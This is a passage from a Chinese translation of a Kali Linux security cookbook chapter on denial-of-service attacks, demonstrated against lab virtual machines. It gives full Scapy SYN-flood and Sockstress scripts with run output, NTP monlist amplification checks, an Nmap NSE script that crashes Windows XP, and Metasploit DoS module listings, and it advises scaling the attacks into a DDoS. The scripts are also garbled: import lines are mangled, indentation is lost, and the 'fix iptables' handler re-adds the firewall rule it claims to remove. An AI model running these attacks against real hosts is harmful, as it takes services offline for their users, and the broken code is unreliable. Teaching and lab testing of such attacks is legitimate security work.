第六章 拒絕服務(wù)(二)
作者:Justin Hutchens
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0
6.6 NTP 放大 DoS 攻擊
NTP 放大 DoS 攻擊利用響應(yīng)遠(yuǎn)程 monlist 請求的網(wǎng)絡(luò)時間協(xié)議(NTP)服務(wù)器。 monlist 函數(shù)返回與服務(wù)器交互的所有設(shè)備的列表,在某些情況下最多達(dá) 600 個列表。 攻擊者可以偽造來自目標(biāo) IP 地址的請求,并且漏洞服務(wù)器將為每個發(fā)送的請求返回非常大的響應(yīng)。 在寫這本書的時候,這仍然是一個常見的威脅,目前正在大規(guī)模使用。 因此,我將僅演示如何測試 NTP 服務(wù)器,以確定它們是否將響應(yīng)遠(yuǎn)程 monlist 請求。 補(bǔ)丁程序可用于大多數(shù) NTP 服務(wù)來解決此問題,并且任何有存在漏洞的設(shè)備應(yīng)該修復(fù)或下線。
準(zhǔn)備
為了確定是否可以利用 NTP 服務(wù)器執(zhí)行 NTP 放大攻擊,你需要有啟用 NTP 的設(shè)備。 在提供的示例中,Ubuntu 用于托管 NTP 服務(wù)。 有關(guān)設(shè)置 Ubuntu 的更多信息,請參閱本書第一章中的“安裝 Ubuntu Server”秘籍。
操作步驟
為了確定遠(yuǎn)程服務(wù)器是否運(yùn)行 NTP 服務(wù),Nmap 可用于快速掃描 UDP 端口 123。 -sU
選項可用于指定 UDP,然后可使用-p
選項來指定端口 :
root@KaliLinux:~# nmap -sU 172.16.36.224 -p 123
Starting Nmap 6.25 ( http://nmap.org ) at 2014-02-24 18:12 EST
Nmap scan report for 172.16.36.224
Host is up (0.00068s latency).
PORT STATE SERVICE
123/udp open ntp
MAC Address: 00:0C:29:09:C3:79 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds
如果遠(yuǎn)程服務(wù)器上運(yùn)行 NTP 服務(wù),則掃描應(yīng)返回打開狀態(tài)。 Kali Linux 上默認(rèn)安裝的另一個工具可用于確定 NTP 服務(wù)是否可用于放大攻擊。 NTPDC 工具可用于嘗試對遠(yuǎn)程服務(wù)執(zhí)行 monlist 命令:
root@KaliLinux:~# ntpdc -n -c monlist 172.16.36.224
172.16.36.224: timed out, nothing received
***Request timed out
理想情況下,我們希望看到的是沒有響應(yīng)返回。 在所提供的第一個示例中,請求超時,并且未接收到輸出。 這表明服務(wù)器不易受攻擊,并且 monlist 命令只能在本地執(zhí)行:
root@KaliLinux:~# ntpdc -c monlist 172.16.36.3
remote address port local address count m ver rstr avgint lstint
========================================================================= ======
host.crossing.com 123 172.16.36.3 18 4 4 1d0 35 1
grub.ca.us.roller.o 123 172.16.36.3 17 4 4 1d0 37 35
va-time.utility.o 123 172.16.36.3 17 4 4 1d0 37 59
cheezpuff.meatball.n 123 172.16.36.3 17 4 4 1d0 38 62
pwnbox.lizard.com 123 172.16.36.3 35 4 4 5d0 65 51
或者,如果返回了一系列主機(jī)和連接元數(shù)據(jù),則遠(yuǎn)程服務(wù)器可能能夠用于放大攻擊。 對于與服務(wù)器交互的每個新主機(jī),會在此列表中添加一個新條目,響應(yīng)的大小以及可能的載荷會變得更大。
放大攻擊的原理是利用第三方設(shè)備,使網(wǎng)絡(luò)流量壓倒目標(biāo)。 對于多數(shù)放大攻擊,必須滿足兩個條件:
- 用于執(zhí)行攻擊的協(xié)議不驗(yàn)證請求源
- 來自所使用的網(wǎng)絡(luò)功能的響應(yīng)應(yīng)該顯著大于用于請求它的請求。
NTP 放大攻擊的效率取決于 NTP 查詢的響應(yīng)大小。 另外,可以通過使用多個 NTP 服務(wù)器來增加攻擊的威力。
6.7 SYN 泛洪 DoS 攻擊
SYN 泛洪 DoS攻擊是一種資源消耗攻擊。 它的原理是向作為攻擊目標(biāo)的服務(wù)相關(guān)的遠(yuǎn)程端口發(fā)送大量 TCP SYN 請求。 對于目標(biāo)服務(wù)接收的每個初始 SYN 分組,然后會發(fā)送出 SYN + ACK 分組并保持連接打開,來等待來自發(fā)起客戶端的最終 ACK 分組。 通過使用這些半開請求使目標(biāo)過載,攻擊者可以使服務(wù)無響應(yīng)。
準(zhǔn)備
為了使用 Scapy 對目標(biāo)執(zhí)行完整的 SYN 泛洪,你需要有一個運(yùn)行 TCP 網(wǎng)絡(luò)服務(wù)的遠(yuǎn)程系統(tǒng)。 提供的示例使用 Metasploitable2 的實(shí)例用。 有關(guān)設(shè)置 Metasploitable2 的更多信息,請參閱本書第一章中的“安裝 Metasploitable2”秘籍。 此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍。
操作步驟
為了使用 Scapy 執(zhí)行 SYN 泛洪,我們需要通過與目標(biāo)服務(wù)關(guān)聯(lián)的端口發(fā)送 TCP SYN 請求來開始。 為了向任何給定端口發(fā)送 TCP SYN 請求,我們必須首先構(gòu)建此請求的層級。 我們將需要構(gòu)建的第一層是 IP 層:
root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> i.dst = "172.16.36.135"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.224
dst= 172.16.36.135
\options\
要構(gòu)建我們的請求的 IP 層,我們應(yīng)該將 IP
對象賦給變量i
。 通過調(diào)用display()
函數(shù),我們可以確定該對象的屬性配置。 通常,發(fā)送和接收地址都設(shè)為回送地址127.0.0.1
。 可以通過將i.dst
設(shè)置為廣播地址的字符串值,來更改目標(biāo)地址并修改這些值。 通過再次調(diào)用display()
函數(shù),我們可以看到,不僅更新了目的地址,而且Scapy
也會自動將源 IP 地址更新為與默認(rèn)接口相關(guān)的地址。 現(xiàn)在我們已經(jīng)構(gòu)建了請求的 IP 層,我們應(yīng)該繼續(xù)構(gòu)建 TCP 層:
>>> t = TCP()
>>> t.display()
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}
要構(gòu)建我們的請求的 TCP 層,我們將使用與 IP 層相同的技術(shù)。 在提供的示例中,TCP
對象賦給了t
變量。 如前所述,可以通過調(diào)用display()
函數(shù)來確定默認(rèn)配置。 在這里,我們可以看到目標(biāo)端口的默認(rèn)值是 HTTP 80 端口。對于我們的首次掃描,我們將 TCP 配置保留默認(rèn)。現(xiàn)在我們構(gòu)建了 IP 和 TCP 層,我們可以通過堆疊這些層來構(gòu)造請求:
>>> response = sr1(i/t,verbose=1,timeout=3)
Begin emission:
Finished to send 1 packets.
Received 5 packets, got 1 answers, remaining 0 packets
>>> response.display()
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 44
id= 0
flags= DF
frag= 0L
ttl= 64
proto= tcp
chksum= 0x9944
src= 172.16.36.135
dst= 172.16.36.224
\options\
###[ TCP ]###
sport= http
dport= ftp_data
seq= 3651201360L
ack= 1
dataofs= 6L
reserved= 0L
flags= SA
window= 5840
chksum= 0x1c68
urgptr= 0
options= [('MSS', 1460)]
###[ Padding ]###
load= '\x00\x00'
可以通過使用斜杠分隔變量來堆疊 IP 和 TCP 層。 然后可以將這些層賦給表示整個請求的新變量。 然后可以調(diào)用display()
函數(shù)來查看請求的配置。 一旦建立了請求,就可以將其傳遞給發(fā)送和接收函數(shù),以便我們可以分析響應(yīng):
>>> request = (i/t)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= 172.16.36.224
dst= 172.16.36.135
\options\
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}
可以在不獨(dú)立地構(gòu)建和堆疊每個層的情況下執(zhí)行相同的請求。 相反,可以通過直接調(diào)用函數(shù)并向其傳遞適當(dāng)?shù)膮?shù)來使用單行命令:
>>> sr1(IP(dst="172.16.36.135")/TCP())
Begin emission:
......................................................
Finished to send 1 packets.
..*
Received 57 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=64 proto=tcp chksum=0x9944 src=172.16.36.135 dst=172.16.36.224 options=[] |<TCP sport=http dport=ftp_data seq=2078775635 ack=1 dataofs=6L reserved=0L flags=SA window=5840 chksum=0xca1e urgptr=0 options=[('MSS', 1460)] |<Padding load='\x00\x00' |>>>
SYN 泛洪的效率取決于在給定時間段內(nèi)可以生成的 SYN 請求的數(shù)量。 為了提高這個攻擊序列的效率,我寫了一個多線程腳本,可以執(zhí)行可由攻擊系統(tǒng)處理的,盡可能多的 SYN 數(shù)據(jù)包注入的并發(fā)進(jìn)程:
#!/usr/bin/python
from scapy.all
import * from time
import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "Usage - ./syn_flood.py [Target-IP] [Port Number] [Threads]"
print "Example - ./sock_stress.py 10.0.0.5 80 20"
print "Example will perform a 20x multi-threaded SYN flood attack"
print "against the HTTP (port 80) service on 10.0.0.5"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])
print "Performing SYN flood. Use Ctrl+C to stop attack."
def synflood(target,port):
while 0 == 0:
x = random.randint(0,65535)
send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
thread.start_new_thread(synflood, (target,port))
while 0 == 0:
sleep(1)
腳本在執(zhí)行時接受三個參數(shù)。 這些參數(shù)包括目標(biāo) IP 地址,SYN 泛洪所發(fā)送到的端口號,以及將用于執(zhí)行 SYN 泛洪的線程或并發(fā)進(jìn)程的數(shù)量。 每個線程以生成 0 到 65,535 之間的整數(shù)值開始。 此范圍表示可分配給源端口的全部可能值。 定義源和目標(biāo)端口地址的 TCP 報頭的部分在長度上都是 16 比特。 每個位可以為 1 或 0。因此,有2 ** 16
或 65,536 個可能的 TCP 端 口地址。 單個源端口只能維持一個半開連接,因此通過為每個 SYN 請求生成唯一的源端口地址,我們可以大大提高攻擊的性能:
root@KaliLinux:~# ./syn_flood.py U
sage - ./syn_flood.py [Target-IP] [Port Number] [Threads]
Example - ./sock_stress.py 10.0.0.5 80 20
Example will perform a 20x multi-threaded SYN flood attack against the HTTP (port 80) service on 10.0.0.5
root@KaliLinux:~# ./syn_flood.py 172.16.36.135 80 20
Performing SYN flood. Use Ctrl+C to stop attack.
當(dāng)在沒有任何參數(shù)的情況下執(zhí)行腳本時,會將使用方法返回給用戶。在提供的示例中,腳本對托管在172.16.36.135
的 TCP 端口 80 上的 HTTP Web 服務(wù)執(zhí)行,具有 20 個并發(fā)線程 。腳本本身提供的反饋很少; 但是,可以運(yùn)行流量捕獲工具(如 Wireshark 或 TCPdump)來驗(yàn)證是否正在發(fā)送連接。在非常短暫的時間之后,與服務(wù)器的連接嘗試會變得非常慢或完全無響應(yīng)。
工作原理
TCP 服務(wù)只允許建立有限數(shù)量的半開連接。 通過快速發(fā)送大量的 TCP SYN 請求,這些可用的連接會被耗盡,并且服務(wù)器將不再能夠接受新的傳入連接。 因此,新用戶將無法訪問該服務(wù)。 通過將其用作 DDoS 并且使多個攻擊系統(tǒng)同時執(zhí)行腳本,該攻擊的效率可以進(jìn)一步加強(qiáng)。
6.8 Sockstress DoS 攻擊
Sockstress DoS 攻擊涉及到與目標(biāo)服務(wù)相關(guān)的 TCP 端口建立一系列開放連接。 TCP 握手中的最終 ACK 響應(yīng)的值應(yīng)為 0。
準(zhǔn)備
為了使用 Scapy 對目標(biāo)執(zhí)行Sockstress DoS 攻擊,你需要有一個運(yùn)行 TCP 網(wǎng)絡(luò)服務(wù)的遠(yuǎn)程系統(tǒng)。 提供的示例使用 Metasploitable2 的實(shí)例用。 有關(guān)設(shè)置 Metasploitable2 的更多信息,請參閱本書第一章中的“安裝 Metasploitable2”秘籍。 此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍。
操作步驟
以下腳本使用 Scapy 編寫,用于對目標(biāo)系統(tǒng)執(zhí)行 Sockstress DoS 攻擊。 以下腳本可用于測試漏洞服務(wù):
#!/usr/bin/python
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "Usage - ./sock_stress.py [Target-IP] [Port Number] [Threads]"
print "Example - ./sock_stress.py 10.0.0.5 21 20"
print "Example will perform a 20x multi-threaded sock-stress DoS attack "
print "against the FTP (port 21) service on 10.0.0.5"
print "\n***NOTE***"
print "Make sure you target a port that responds when a connection is made"
sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])
## This is where the magic happens
def sockstress(target,dstport): while 0 == 0:
try:
x = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags ='S'),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
except:
pass
## Graceful shutdown allows IP Table Repair
def graceful_shutdown(signal, frame):
print '\nYou pressed Ctrl+C!'
print 'Fixing IP Tables'
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
sys.exit()
## Creates IPTables Rule to Prevent Outbound RST Packet to Allow Scapy TCP Connections
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, graceful_shutdown)
## Spin up multiple threads to launch the attack
print "\nThe onslaught has begun...use Ctrl+C to stop the attack"
for x in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))
## Make it go FOREVER (...or at least until Ctrl+C)
while 0 == 0:
sleep(1)
請注意,此腳本有兩個主要功能,包括 sockstress 攻擊功能和單獨(dú)的正常關(guān)機(jī)功能。 關(guān)閉需要單獨(dú)的函數(shù),因?yàn)闉榱耸鼓_本正常運(yùn)行,腳本必須修改本地 iptables 規(guī)則。 此更改是必需的,以便使用 Scapy 完成與遠(yuǎn)程主機(jī)的 TCP 連接。 在第三章“端口掃描”的“使用 Scapy 配置連接掃描”中,更徹底地解決了這一問題。 在執(zhí)行腳本之前,我們可以使用 netstat 和 free 工具為已建立的連接和正在使用的內(nèi)存獲取基線:
msfadmin@metasploitable:~$ netstat | grep ESTABLISHED
tcp6 0 0 172.16.36.131%13464:ssh 172.16.36.1%8191:49826 ESTABLISHED
udp 0 0 localhost:32840 localhost:32840 ESTABLISHED
msfadmin@metasploitable:~$ free -m
total used free shared buffers cached
Mem: 503 157 345 0 13 54
-/+ buffers/cache: 89 413
Swap: 0 0 0
通過使用 netstat,然后通過管道輸出到grep
函數(shù),并只提取已建立的連接,我們可以看到只存在兩個連接。 我們還可以使用free
工具查看當(dāng)前的內(nèi)存使用情況。 -m
選項用于返回以兆字節(jié)為單位的值。 在確定已建立的連接和可用內(nèi)存的基線后,我們可以對此目標(biāo)服務(wù)器啟動攻擊:
root@KaliLinux:~# ./sock_stress.py
Usage - ./sock_stress.py [Target-IP] [Port Number] [Threads]
Example - ./sock_stress.py 10.0.0.5 21 20
Example will perform a 20x multi-threaded sock-stress DoS attack against the FTP (port 21) service on 10.0.0.
***NOTE***
Make sure you target a port that responds when a connection is made
root@KaliLinux:~# ./sock_stress.py 172.16.36.131 21 20
The onslaught has begun...use Ctrl+C to stop the attack
通過在沒有任何提供的參數(shù)的情況下執(zhí)行腳本,腳本將返回預(yù)期的語法和用法。腳本在執(zhí)行時接受三個參數(shù)。這些參數(shù)包括目標(biāo) IP 地址,sock stress DoS所發(fā)送的端口號,以及將用于執(zhí)行 sock stress DoS 的線程或并發(fā)進(jìn)程的數(shù)量。每個線程以生成 0 到 65,535 之間的整數(shù)值開始。此范圍表示可分配給源端口的全部可能值。定義源和目的地端口地址的 TCP 報頭的部分在長度上都是 16 比特。每個位可以為值 1 或 0。因此,有2 ** 16
或 65,536 個可能的 TCP 端口地址。單個源端口只能維持單個連接,因此通過為每個連接生成唯一的源端口地址,我們可以大大提高攻擊的效率。一旦攻擊開始,我們可以通過檢查在目標(biāo)服務(wù)器上建立的活動連接,來驗(yàn)證它是否正常工作:
msfadmin@metasploitable:~$ netstat | grep ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:25624 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:12129 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:31294 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:46731 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:15281 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:47576 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:27472 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:11152 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:56245 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:1161 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:21064 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:29344 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:43747 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:59609 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:31927 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:12257 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:54709 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:55595 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:12992 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:24171 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:37207 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:39224 ESTABLISHED
在執(zhí)行腳本后的幾分鐘,我們可以看到已建立的連接的數(shù)量急劇增加。 此處顯示的輸出已截斷,連接列表實(shí)際上明顯長于此:
msfadmin@metasploitable:~$ free -m
total used free shared buffers cached
Mem: 503 497 6 0 149
138 -/+ buffers/cache: 209 294
Swap: 0 0 0
通過連續(xù)使用free
工具,我們可以看到,系統(tǒng)的可用內(nèi)存逐漸耗盡。 一旦內(nèi)存空閑值下降到幾乎沒有,空閑緩沖區(qū)/緩存空間將開始下降:
msfadmin@metasploitable:~$ free -m
total used free shared buffers cached
Mem: 503 498 4 0 0
5 -/+ buffers/cache: 493 10
Swap: 0 0 0
在本地系統(tǒng)上的所有資源耗盡之后,系統(tǒng)最終會崩潰。 完成此過程所需的時間將取決于可用的本地資源量。 在這里提供的示例中,這是在具有 512 MB RAM 的 Metasploitable VM 上執(zhí)行的,攻擊花費(fèi)了大約 2 分鐘來耗盡所有可用的本地資源并使服務(wù)器崩潰。 服務(wù)器崩潰后,或者你希望停止 DoS 攻擊時,可以按Ctrl + C
。
root@KaliLinux:~# ./sock_stress.py 172.16.36.131 21 20
The onslaught has begun...use Ctrl+C to stop the attack
^C
pressed Ctrl+C!
Fixing IP Tables
腳本被編寫來捕獲由于按Ctrl + C
而發(fā)送的終止信號,并且它將通過去除在終止腳本的執(zhí)行序列之前生成的規(guī)則,來修復(fù)本地 iptables。
工作原理
在 sockstress DoS 中,三次握手中的最后的 ACK 封包的窗口值為 0。由于連接客戶端的空窗口所示,漏洞服務(wù)不會傳送任何數(shù)據(jù)來響應(yīng)連接。 相反,服務(wù)器會保存要在內(nèi)存中傳輸?shù)臄?shù)據(jù)。 使用這些連接充斥服務(wù)器將耗盡服務(wù)器的資源,包括內(nèi)存,交換空間和計算能力。
6.9 使用 Nmap NSE 執(zhí)行 DoS 攻擊
Nmap 腳本引擎(NSE)擁有許多可用于執(zhí)行 DoS 攻擊的腳本。 這個特定的秘籍演示了如何找到 NSE DoS 腳本,確定腳本的用法,以及如何執(zhí)行它們。
準(zhǔn)備
為了使用 Nmap NSE 執(zhí)行 DoS 攻擊,你需要有一個運(yùn)行漏洞服務(wù)的系統(tǒng),它易受 Nmap NSE DoS 腳本之一的攻擊。 所提供的示例使用 Windows XP 的實(shí)例。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍。
操作步驟
在使用 Nmap NSE 腳本執(zhí)行 DoS 測試之前,我們需要確定哪些 DoS 腳本可用。 在 Nmap NSE 腳本目錄中有一個greppable script.db
文件,可用于確定任何給定類別中的腳本:
root@KaliLinux:~# grep dos /usr/share/nmap/scripts/script.db | cut -d "\"" -f 2
broadcast-avahi-dos.nse
http-slowloris.nse ipv6-ra-flood.nse
smb-check-vulns.nse
smb-flood.nse
smb-vuln-ms10-054.nse
通過從script.db
文件中使用grep
搜索 DoS,然后將輸出通過管道傳遞到cut
函數(shù),我們可以提取可用的腳本。 通過閱讀任何一個腳本的頭部,我們通常可以找到很多有用的信息:
root@KaliLinux:~# cat /usr/share/nmap/scripts/smb-vuln-ms10-054.nse | more
local bin = require "bin"
local msrpc = require "msrpc"
local smb = require "smb"
local string = require "string"
local vulns = require "vulns"
local stdnse = require "stdnse"
description = [[
Tests whether target machines are vulnerable to the ms10-054 SMB remote memory
corruption vulnerability.
The vulnerable machine will crash with BSOD.
The script requires at least READ access right to a share on a remote machine.
Either with guest credentials or with specified username/password.
為了從上到下讀取腳本,我們應(yīng)該對文件使用cat
命令,然后通過管道輸出到more
工具。 腳本的頭部描述了它所利用的漏洞以及系統(tǒng)必須滿足的條件。 它還解釋了該漏洞將導(dǎo)致藍(lán)屏死機(jī)(BSOD)DoS。 通過進(jìn)一步向下滾動,我們可以找到更多有用的信息:
-- @usage nmap -p 445 <target>
--script=smb-vuln-ms10-054
--script-args unsafe
--- @args unsafe Required to run the script, "safty swich" to prevent running it by accident
-- @args smb-vuln-ms10-054.share Share to connect to (defaults to SharedDocs)
-- @usage nmap -p 445 <target>
--script=smb-vuln-ms10-054
--script-args unsafe
--- @args unsafe Required to run the script, "safty swich" to prevent running it by accident
-- @args smb-vuln-ms10-054.share Share to connect to (defaults to SharedDocs)
-- @output
-- Host script results:
-- | smb-vuln-ms10-054:
-- | VULNERABLE:
-- | SMB remote memory corruption vulnerability
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2010-2550
-- | Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/ A:C)
-- | Description:
-- | The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
-- | Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
-- | does not properly validate fields in an SMB request, which allows remote attackers
-- | to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
在腳本中,我們可以找到腳本用法和腳本提供的參數(shù)的描述。 它還提供了有關(guān)其利用的漏洞的其他詳細(xì)信息。 要執(zhí)行腳本,我們需要在 Nmap 中使用--script
選項:
root@KaliLinux:~# nmap -p 445 172.16.36.134 --script=smb-vuln-ms10-054 --script-args unsafe=1
Starting Nmap 6.25 ( http://nmap.org ) at 2014-02-28 23:45 EST
Nmap scan report for 172.16.36.134
Host is up (0.00038s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)
Host script results:
| smb-vuln-ms10-054:
| VULNERABLE:
| SMB remote memory corruption vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2010-2550
| Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
| Description:
| The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
| Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
| does not properly validate fields in an SMB request, which allows remote attackers
| to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
在提供的示例中,Nmap 被定向?yàn)閮H掃描 TCP 端口 445,這是該漏洞的相關(guān)端口。 --script
選項與指定所使用的腳本的參數(shù)一起使用。 我們傳遞了單個腳本參數(shù)來表明可以接受不安全掃描。 此參數(shù)的描述是,可用于授權(quán) DoS 攻擊的安全開關(guān)。 在 Nmap 中執(zhí)行腳本后,輸出表明系統(tǒng)存在漏洞。 查看 Windows XP 機(jī)器,我們可以看到 DoS 成功,這導(dǎo)致了藍(lán)屏:
工作原理
本練習(xí)中演示的 Nmap NSE 腳本是緩沖區(qū)溢出攻擊的示例。 一般來說,緩沖區(qū)溢出能夠?qū)е戮芙^服務(wù),因?yàn)樗鼈兛赡軐?dǎo)致任意數(shù)據(jù)被加載到非預(yù)期的內(nèi)存段。 這可能中斷執(zhí)行流程,并導(dǎo)致服務(wù)或操作系統(tǒng)崩潰。
6.10 Metasploit DoS 攻擊
Metasploit框架有許多輔助模塊腳本,可用于執(zhí)行 DoS 攻擊。 這個特定的秘籍演示了如何找到 DoS 模塊,確定模塊的使用方式,以及如何執(zhí)行它們。
準(zhǔn)備
為了使用 Metasploit 執(zhí)行 DoS 攻擊,你需要有一個運(yùn)行漏洞服務(wù)的系統(tǒng),它易受 Metasploit DoS 輔助模塊之一的攻擊。 所提供的示例使用 Windows XP 的實(shí)例。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍。
操作步驟
在使用 Metasploit 輔助模塊執(zhí)行 DoS 測試之前,我們需要確定哪些 DoS 模塊可用。 相關(guān)模塊可以通過瀏覽 Metasploit 目錄樹來確定:
root@KaliLinux:~# cd /usr/share/metasploit-framework/modules/auxiliary/ dos/
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos# ls cisco dhcp freebsd hp http mdns ntp pptp samba scada smtp solaris ssl syslog tcp wifi windows wireshark
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos# cd windows/
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos/ windows# ls appian browser ftp games http llmnr nat rdp smb smtp tftp
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos/ windows# cd http
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos/ windows/http# ls ms10_065_ii6_asp_dos.rb
pi3web_isapi.rb
通過瀏覽/ modules / auxiliary / dos
目錄,我們可以看到各種類別的 DoS 模塊。 在提供的示例中,我們已瀏覽包含 Windows HTTP 拒絕服務(wù)漏洞的目錄:
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos/ windows/http# cat ms10_065_ii6_asp_dos.rb | more
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service',
'Description' => %q{
The vulnerability allows remote unauthenticated attackers to force the IIS server
to become unresponsive until the IIS service is restarted manually by the administrator.
Required is that Active Server Pages are hosted by the IIS and that an ASP script reads
out a Post Form value.
},
'Author' =>
[
'Alligator Security Team',
'Heyder Andrade <heyder[at]alligatorteam.org>',
'Leandro Oliveira <leadro[at]alligatorteam.org>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-1899' ],
[ 'OSVDB', '67978'],
[ 'MSB', 'MS10-065'],
[ 'EDB', '15167' ]
],
'DisclosureDate' => 'Sep 14 2010'))
為了從上到下讀取腳本,我們應(yīng)該對文件使用cat
命令,然后通過管道輸出到more
工具。 腳本的頂部描述了它所利用的漏洞以及系統(tǒng)必須滿足的條件。 我們還可以在 Metasploit 框架控制臺中識別潛在的 DoS 漏洞。 要訪問它,在終端中鍵入msfconsole
:
root@KaliLinux:~# msfconsole # cowsay++
____________
< metasploit >
-----------
\ ,__,
\ (oo)____
(__) )\
||--|| *
Large pentest? List, sort, group, tag and search your hosts and services in Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
msf >
一旦打開,搜索命令可以與搜索項結(jié)合使用,來確定要使用的漏洞利用:
msf > search dos
Matching Modules
================
Name Disclosure Date Rank Description ---- -------------- ---- ----------
auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
auxiliary/dos/cisco/ios_http_percentpercent 2000-04-26 normal Cisco IOS HTTP GET /%% request Denial of Service
auxiliary/dos/dhcp/isc_dhcpd_clientid normal ISC DHCP Zero Length ClientID Denial of Service Module
auxiliary/dos/freebsd/nfsd/nfsd_mount normal FreeBSD Remote NFS RPC Request Denial of Service
auxiliary/dos/hp/data_protector_rds 2011-01-08 manual HP Data Protector Manager RDS DOS
auxiliary/dos/http/3com_superstack_switch 2004-06-24 normal 3Com SuperStack Switch Denial of Service
auxiliary/dos/http/apache_mod_isapi 2010-03-05 normal Apache mod_isapi <= 2.2.14 Dangling Pointer
